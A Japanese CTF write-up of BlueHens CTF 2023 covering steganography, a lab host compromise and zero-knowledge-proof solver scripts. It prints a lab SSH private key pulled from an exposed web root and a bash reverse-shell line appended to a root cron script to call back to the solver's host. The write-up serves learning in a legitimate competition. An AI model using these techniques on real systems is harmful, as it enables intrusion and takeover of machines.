BlueHens CTF 2023 Writeup

この大会は2023/10/28 4:00(JST)~2023/10/30 4:00(JST)に開催されました。
今回もチームで参戦。結果は9459点で435チーム中21位でした。
自分で解けた問題をWriteupとして書いておきます。

Join Our Discord (MISC)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

UDCTF{l3t_th3_g4me5_b3g1n}

Big JPG (MISC)

$ binwalk big-image.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
364           0x16C           Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
394730        0x605EA         xz compressed data

jpgの後ろにxzがくっついている。

$ binwalk big-image.jpg -e

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
364           0x16C           Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
394730        0x605EA         xz compressed data

$ file _big-image.jpg.extracted/605EA
_big-image.jpg.extracted/605EA: POSIX tar archive (GNU)
$ tar xvf _big-image.jpg.extracted/605EA -C .
flag.jpg
key.png

$ zsteg key.png                  
imagedata           .. text: "???***000>>>"
b1,rgb,lsb,xy       .. text: "'[password: uR_aLmOsT_tHeRe]'"
b4,b,msb,xy         .. file: MPEG ADTS, layer I, v2, JntStereo

パスワードがわかったので、steghideで秘密データを抽出する。

$ steghide extract -sf flag.jpg -p uR_aLmOsT_tHeRe
wrote extracted data to "flag.txt".
$ cat flag.txt         
UDCTF{lay3r5_0n_lay3r5}
UDCTF{lay3r5_0n_lay3r5}

Simp 1/2 (MISC)

$ nmap -p- --min-rate 5000 10.10.147.129
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 21:38 JST
Warning: 10.10.147.129 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.147.129
Host is up (0.39s latency).
Not shown: 59572 closed tcp ports (conn-refused), 5961 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 70.73 seconds

$ nmap -sC -sV -p 22,8000 10.10.147.129
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 21:40 JST
Nmap scan report for 10.10.147.129
Host is up (0.39s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d9:c2:f5:2e:1c:7d:bc:29:96:ff:d2:f3:d9:a0:6b:e9 (RSA)
|   256 34:f1:eb:46:bc:b5:ce:2e:fa:9a:b6:fb:1d:71:67:31 (ECDSA)
|_  256 e0:0d:7a:44:2c:9c:a0:3d:ca:c4:75:da:1b:0c:3d:ac (ED25519)
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.5)
|_http-server-header: SimpleHTTP/0.6 Python/3.8.5
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.04 seconds

$ gobuster dir -u http://10.10.147.129:8000/ -w /usr/share/wordlists/dirb/common.txt -x txt,pdf,php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.147.129:8000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              txt,pdf,php
[+] Timeout:                 10s
===============================================================
2023/10/28 21:45:50 Starting gobuster in directory enumeration mode
===============================================================
/.bashrc              (Status: 200) [Size: 3771]
/.cache               (Status: 301) [Size: 0] [--> /.cache/]
/.profile             (Status: 200) [Size: 807]
/.ssh                 (Status: 301) [Size: 0] [--> /.ssh/]
/flag.txt             (Status: 200) [Size: 28]
/index.html           (Status: 200) [Size: 552]
Progress: 18456 / 18460 (99.98%)
===============================================================
2023/10/28 22:09:16 Finished
===============================================================

ホームディレクトリ直下が見えているっぽい。

$ curl http://10.10.147.129:8000/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
$ wget http://10.10.147.129:8000/.ssh/id_rsa
--2023-10-28 21:48:25--  http://10.10.147.129:8000/.ssh/id_rsa
Connecting to 10.10.147.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2622 (2.6K) [application/octet-stream]
Saving to: ‘id_rsa’

id_rsa                     100%[=====================================>]   2.56K  --.-KB/s    in 0s      

2023-10-28 21:48:26 (246 MB/s) - ‘id_rsa’ saved [2622/2622]
$ chmod 600 id_rsa

秘密鍵を使って、SSHログインする。

$ ssh -i id_rsa dave@10.10.147.129
The authenticity of host '10.10.147.129 (10.10.147.129)' can't be established.
ED25519 key fingerprint is SHA256:BidMEer4FwrQ9lCV/BQeDXJG5Cyjvw4XWvXrlMqfW1o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.147.129' (ED25519) to the list of known hosts.
Last login: Tue Oct 17 22:49:05 2023
$ id
uid=1001(dave) gid=1001(dave) groups=1001(dave)
$ ls
flag.txt  index.html  send_logs.py
$ cat flag.txt
UDCTF{oh_no_say_it_a!nt_s0}
UDCTF{oh_no_say_it_a!nt_s0}

Simp 2/2 (MISC)

自マシン(10.4.24.237)上で以下を実行

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

ターゲット上で以下を実行し、pspy64をアップロードし、実行する。これによって、プロセスをモニタリングし、怪しいプロセスがないか確認する。

$ wget http://10.4.24.237/pspy64
--2023-10-28 13:14:39--  http://10.4.24.237/pspy64
Connecting to 10.4.24.237:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                     100%[=====================================>]   2.96M   678KB/s    in 6.9s    

2023-10-28 13:14:47 (441 KB/s) - ‘pspy64’ saved [3104768/3104768]

$ chmod +x pspy64
$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/10/28 13:15:52 CMD: UID=1001  PID=35269  | ./pspy64 
2023/10/28 13:15:52 CMD: UID=0     PID=35267  | 
2023/10/28 13:15:52 CMD: UID=0     PID=35198  | 
2023/10/28 13:15:52 CMD: UID=1001  PID=19366  | /usr/bin/gpg-agent --supervised 
2023/10/28 13:15:52 CMD: UID=0     PID=12106  | 
2023/10/28 13:15:52 CMD: UID=0     PID=10816  | 
2023/10/28 13:15:52 CMD: UID=1001  PID=5186   | -sh 
2023/10/28 13:15:52 CMD: UID=1001  PID=5174   | sshd: dave@pts/0     
2023/10/28 13:15:52 CMD: UID=1001  PID=4990   | (sd-pam) 
2023/10/28 13:15:52 CMD: UID=1001  PID=4989   | /lib/systemd/systemd --user 
2023/10/28 13:15:52 CMD: UID=0     PID=4899   | sshd: dave [priv]    
2023/10/28 13:15:52 CMD: UID=0     PID=727    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2023/10/28 13:15:52 CMD: UID=0     PID=719    | /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220                                                                                                
2023/10/28 13:15:52 CMD: UID=0     PID=718    | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal                                                                     
2023/10/28 13:15:52 CMD: UID=0     PID=716    | /usr/lib/policykit-1/polkitd --no-debug 
2023/10/28 13:15:52 CMD: UID=0     PID=709    | /usr/sbin/ifplugd -i eth0 -q -f -u0 -d10 -w -I 
2023/10/28 13:15:52 CMD: UID=0     PID=693    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 
2023/10/28 13:15:52 CMD: UID=1     PID=690    | /usr/sbin/atd -f 
2023/10/28 13:15:52 CMD: UID=0     PID=673    | /usr/sbin/cron -f 
2023/10/28 13:15:52 CMD: UID=0     PID=660    | /usr/bin/amazon-ssm-agent 
2023/10/28 13:15:52 CMD: UID=0     PID=560    | /lib/systemd/systemd-logind 
2023/10/28 13:15:52 CMD: UID=104   PID=557    | /usr/sbin/rsyslogd -n -iNONE 
2023/10/28 13:15:52 CMD: UID=0     PID=548    | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers                                                                                              
2023/10/28 13:15:52 CMD: UID=0     PID=546    | /bin/python3 -m http.server -d /home/dave 
2023/10/28 13:15:52 CMD: UID=103   PID=528    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only                                                          
2023/10/28 13:15:52 CMD: UID=0     PID=527    | /usr/lib/accountsservice/accounts-daemon 
2023/10/28 13:15:52 CMD: UID=0     PID=508    | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0                      
2023/10/28 13:15:52 CMD: UID=0     PID=489    | /usr/sbin/haveged --Foreground --verbose=1 -w 1024 
2023/10/28 13:15:52 CMD: UID=0     PID=484    | 
2023/10/28 13:15:52 CMD: UID=101   PID=481    | /lib/systemd/systemd-resolved 
2023/10/28 13:15:52 CMD: UID=0     PID=461    | 
2023/10/28 13:15:52 CMD: UID=0     PID=460    | 
2023/10/28 13:15:52 CMD: UID=0     PID=448    | /sbin/multipathd -d -s 
2023/10/28 13:15:52 CMD: UID=0     PID=447    | 
2023/10/28 13:15:52 CMD: UID=0     PID=446    | 
2023/10/28 13:15:52 CMD: UID=0     PID=445    | 
2023/10/28 13:15:52 CMD: UID=0     PID=444    | 
2023/10/28 13:15:52 CMD: UID=100   PID=355    | /lib/systemd/systemd-networkd 
2023/10/28 13:15:52 CMD: UID=0     PID=349    | /lib/systemd/systemd-udevd 
2023/10/28 13:15:52 CMD: UID=0     PID=327    | /lib/systemd/systemd-journald 
2023/10/28 13:15:52 CMD: UID=0     PID=268    | 
2023/10/28 13:15:52 CMD: UID=0     PID=267    | 
2023/10/28 13:15:52 CMD: UID=0     PID=216    | 
2023/10/28 13:15:52 CMD: UID=0     PID=156    | 
2023/10/28 13:15:52 CMD: UID=0     PID=121    | 
2023/10/28 13:15:52 CMD: UID=0     PID=120    | 
2023/10/28 13:15:52 CMD: UID=0     PID=107    | 
2023/10/28 13:15:52 CMD: UID=0     PID=104    | 
2023/10/28 13:15:52 CMD: UID=0     PID=94     | 
2023/10/28 13:15:52 CMD: UID=0     PID=93     | 
2023/10/28 13:15:52 CMD: UID=0     PID=91     | 
2023/10/28 13:15:52 CMD: UID=0     PID=90     | 
2023/10/28 13:15:52 CMD: UID=0     PID=89     | 
2023/10/28 13:15:52 CMD: UID=0     PID=88     | 
2023/10/28 13:15:52 CMD: UID=0     PID=87     | 
2023/10/28 13:15:52 CMD: UID=0     PID=86     | 
2023/10/28 13:15:52 CMD: UID=0     PID=84     | 
2023/10/28 13:15:52 CMD: UID=0     PID=83     | 
2023/10/28 13:15:52 CMD: UID=0     PID=79     | 
2023/10/28 13:15:52 CMD: UID=0     PID=78     | 
2023/10/28 13:15:52 CMD: UID=0     PID=77     | 
2023/10/28 13:15:52 CMD: UID=0     PID=76     | 
2023/10/28 13:15:52 CMD: UID=0     PID=75     | 
2023/10/28 13:15:52 CMD: UID=0     PID=74     | 
2023/10/28 13:15:52 CMD: UID=0     PID=73     | 
2023/10/28 13:15:52 CMD: UID=0     PID=72     | 
2023/10/28 13:15:52 CMD: UID=0     PID=71     | 
2023/10/28 13:15:52 CMD: UID=0     PID=25     | 
2023/10/28 13:15:52 CMD: UID=0     PID=24     | 
2023/10/28 13:15:52 CMD: UID=0     PID=23     | 
2023/10/28 13:15:52 CMD: UID=0     PID=22     | 
2023/10/28 13:15:52 CMD: UID=0     PID=21     | 
2023/10/28 13:15:52 CMD: UID=0     PID=20     | 
2023/10/28 13:15:52 CMD: UID=0     PID=19     | 
2023/10/28 13:15:52 CMD: UID=0     PID=18     | 
2023/10/28 13:15:52 CMD: UID=0     PID=17     | 
2023/10/28 13:15:52 CMD: UID=0     PID=16     | 
2023/10/28 13:15:52 CMD: UID=0     PID=15     | 
2023/10/28 13:15:52 CMD: UID=0     PID=14     | 
2023/10/28 13:15:52 CMD: UID=0     PID=13     | 
2023/10/28 13:15:52 CMD: UID=0     PID=12     | 
2023/10/28 13:15:52 CMD: UID=0     PID=11     | 
2023/10/28 13:15:52 CMD: UID=0     PID=10     | 
2023/10/28 13:15:52 CMD: UID=0     PID=9      | 
2023/10/28 13:15:52 CMD: UID=0     PID=6      | 
2023/10/28 13:15:52 CMD: UID=0     PID=4      | 
2023/10/28 13:15:52 CMD: UID=0     PID=3      | 
2023/10/28 13:15:52 CMD: UID=0     PID=2      | 
2023/10/28 13:15:52 CMD: UID=0     PID=1      | /sbin/init 
2023/10/28 13:16:01 CMD: UID=0     PID=35277  | /usr/sbin/CRON -f 
2023/10/28 13:16:01 CMD: UID=0     PID=35279  | /bin/python3 /home/dave/send_logs.py 
2023/10/28 13:16:01 CMD: UID=0     PID=35278  | /bin/sh -c /bin/python3 /home/dave/send_logs.py 
2023/10/28 13:16:01 CMD: UID=0     PID=35280  | /bin/python3 /home/dave/send_logs.py 
2023/10/28 13:16:01 CMD: UID=0     PID=35281  | sh -c md5sum /etc/passwd > /tmp/integrity.txt 
2023/10/28 13:16:01 CMD: UID=0     PID=35282  | /bin/python3 /home/dave/send_logs.py 
2023/10/28 13:16:01 CMD: UID=0     PID=35283  | sh -c md5sum /etc/shadow >> /tmp/integrity.txt 
2023/10/28 13:16:01 CMD: UID=0     PID=35284  | /bin/python3 /home/dave/send_logs.py 
2023/10/28 13:16:01 CMD: UID=0     PID=35285  | sh -c curl -F "data=@/tmp/integrity.txt" https://corpo-integrity.serv:9001
^Z[1] + Stopped                    ./pspy64

send_logs.pyのプロセスはrootで実行しているようだ。中を確認してみる。

$ cat send_logs.py
import os

os.system('md5sum /etc/passwd > /tmp/integrity.txt')
os.system('md5sum /etc/shadow >> /tmp/integrity.txt')
os.system('curl -F "data=@/tmp/integrity.txt" https://corpo-integrity.serv:9001')

これにリバースシェルのコマンド実行するコードを追加する。

$ vi send_logs.py

以下を末尾の行に追加。

os.system('bash -c "bash -i >& /dev/tcp/10.4.24.237/4444 0>&1"')
$ cat send_logs.py
import os

os.system('md5sum /etc/passwd > /tmp/integrity.txt')
os.system('md5sum /etc/shadow >> /tmp/integrity.txt')
os.system('curl -F "data=@/tmp/integrity.txt" https://corpo-integrity.serv:9001')
os.system('bash -c "bash -i >& /dev/tcp/10.4.24.237/4444 0>&1"')

自マシン(10.4.24.237)上で以下を実行

$ nc -nvlp 4444
listening on [any] 4444 ...

しばらく待つと、接続が来た。

$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.4.24.237] from (UNKNOWN) [10.10.147.129] 50366
bash: cannot set terminal process group (35464): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu2004:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu2004:~# cd /root
cd /root
root@ubuntu2004:~# ls
ls
flag.txt
root@ubuntu2004:~# cat flag.txt
cat flag.txt
UDCTF{yawn_yawn_cron_jawn}
UDCTF{yawn_yawn_cron_jawn}

Least Significant Color (MISC)

左上から横方向に赤と緑の値のXORのLSBを結合し、2進数としてデコードする。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('encoded.png').convert('RGB')
w, h = img.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

bin_data = ''
for y in range(h):
    for x in range(w):
        r, g, b = img.getpixel((x, y))
        bin_data += str((r ^ g) & 1)

flag = ''
for i in range(0, len(bin_data), 8):
    b = bin_data[i:i+8]
    flag += chr(int(b, 2))
    if flag[-1] == '}':
        break
print(flag)
UDCTF{y0u_R_1mag3_wizZarD}

Defective Server (ZERO-KNOWLEDGE-PROOF)

ひたすら0を答えていけば条件を満たす。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

CHALLENGES = [1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 19523))

for challenge in CHALLENGES:
    rsq = 0
    print(rsq)
    s.sendall(str(rsq).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    answer = 0
    print(answer)
    s.sendall(str(answer).encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

        :
0
1
0
0
1
0
0
0
0
UDCTF{W3lc0m3_t0_0_kn0wledge_pr0of5}
UDCTF{W3lc0m3_t0_0_kn0wledge_pr0of5}

Modular Authenticator (ZERO-KNOWLEDGE-PROOF)

サーバの処理概要は以下の通り。

・pid = os.getpid()
・RAND = random.SystemRandom()
・ROUNDS = 128
・public_key: public_key.jsonをJSONデータとしてパース
・p = public_key["p"]
・ssq = public_key["s^e"]
・e = public_key['e']
・authenticate(ROUNDS,ssq,e,p)
 ・squares = get_inputs(rounds,2,p-2)
  ・data: 入力したものをJSONデータとしてパース
  ・dataの各キーが2以上p-2以下である必要あり
  ・dataを返却
 ・requests: "r","rs"からランダムにROUNDS個選択したものの配列
 ・requestsを表示
 ・responses = get_inputs(rounds,2,p-2)
  ・data: 入力したものをJSONデータとしてパース
  ・dataの各キーが2以上p-2以下である必要あり
  ・dataを返却
 ・requests,responses,squaresの各データexpected, response, rsqについて以下を実行
  ・expectedが"r"の場合、pow(response,e,p)がrsqと同じである必要あり
  ・expectedが"rs"の場合、pow(response,e,p)が(rsq * ssq) % pと同じである必要あり
・フラグを表示

eは2**256。rsqを2と置き、Tonelli-Shanks Algorithmを使って、rsq、rsq*ssqの平方剰余を256回実行し、responseを求めておけば、条件を満たすデータを送信できる。

#!/usr/bin/env python3
import socket
import json

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def legendre(a, p):
    return pow(a, (p - 1) // 2, p)

def tonelli_shanks(a, p):
    if legendre(a, p) != 1:
        raise Exception("not a square (mod p)")

    q = p - 1
    s = 0
    while q % 2 == 0:
        q >>= 1
        s += 1

    for z in range(2, p):
        if legendre(z, p) == p - 1:
            break

    m = s
    c = pow(z, q, p)
    t = pow(a, q, p)
    r = pow(a, (q + 1) // 2, p)

    t2 = 0
    while True:
        if t == 0: return 0
        if t == 1: return r
        t2 = (t * t) % p
        for i in range(1, m):
            if t2 % p == 1:
                break
            t2 = (t2 * t2) % p
        b = pow(c, 1 << (m - i - 1), p)
        m = i
        c = (b * b) % p
        t = (t * c) % p
        r = (r * b) % p

ROUNDS = 128

with open('public_key.json', 'r') as f:
    public_key=json.loads(f.read())

p = public_key['p']
ssq = public_key['s^e']
e = public_key['e']

rsq = 2

m = rsq
for _ in range(256):
    m = tonelli_shanks(m, p)
response_r = m
assert pow(response_r, e, p) == rsq

m = (rsq * ssq) % p
for _ in range(256):
    m = tonelli_shanks(m, p)
response_rs = m
assert pow(response_rs, e, p) == (rsq * ssq) % p

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 14202))

squares = str([2] * ROUNDS)
print(squares)
s.sendall(squares.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
requests = eval(data)
responses = []
for expected in requests:
    if expected == 'r':
        responses.append(response_r)
    else:
        responses.append(response_rs)
responses = str(responses)
print(responses)
s.sendall(responses.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2]
["r", "r", "rs", "r", "rs", "r", "rs", "rs", "r", "r", "r", "r", "r", "rs", "rs", "r", "rs", "r", "rs", "r", "r", "rs", "r", "rs", "rs", "rs", "r", "r", "r", "r", "r", "rs", "rs", "r", "rs", "rs", "r", "r", "r", "r", "r", "r", "rs", "r", "r", "rs", "rs", "r", "rs", "r", "r", "rs", "r", "r", "r", "r", "rs", "rs", "rs", "rs", "r", "r", "r", "r", "rs", "r", "r", "rs", "r", "rs", "r", "r", "r", "rs", "r", "r", "r", "rs", "rs", "r", "r", "rs", "r", "r", "r", "rs", "r", "r", "r", "rs", "rs", "rs", "r", "rs", "rs", "rs", "rs", "rs", "r", "rs", "rs", "r", "rs", "rs", "r", "rs", "rs", "r", "r", "r", "rs", "rs", "rs", "rs", "r", "r", "rs", "r", "r", "rs", "r", "r", "rs", "r", "r", "r", "rs", "r"]
[7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660, 7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660, 832168985343566491327616919139966067828651273699139193178114969884345414280843318288487506543049804946078969399502048206964905081084783445885861963915590439826059774476881765232986298378313961671197147331082349633329921971993788226380306095823500835647221163295397690333876424381749750998512227030556145586309920922307723281503266094323368820258138268699019145052047255298028938339398682564815915047083647094797810939573814271543745272751997520838344109665028652784813414740403695270903301279632909922471348914100814137365218927549716231621399455620361640808073887368754194526115620264791129055452672825619066220333, 7379438307038400191927255947724462702161911899749410951243937264037905573862564887975130690407327618863623924296706413637868117956425659087547218452152621927889704113682533795977084238361103313888052766507987529075276310648848380951095376422731340131698162550580131745400180840398246207712841521155349702493926933327844275697749300293237740514289516948755523558502874954380259031211581657330241777711263364306980118260847664852618290776095327359950203741860781887417289877280772580529648591548441942639401075202981665948597541477979803851348575914902349877897763035092418375411896101150124865661631309144910206722660, 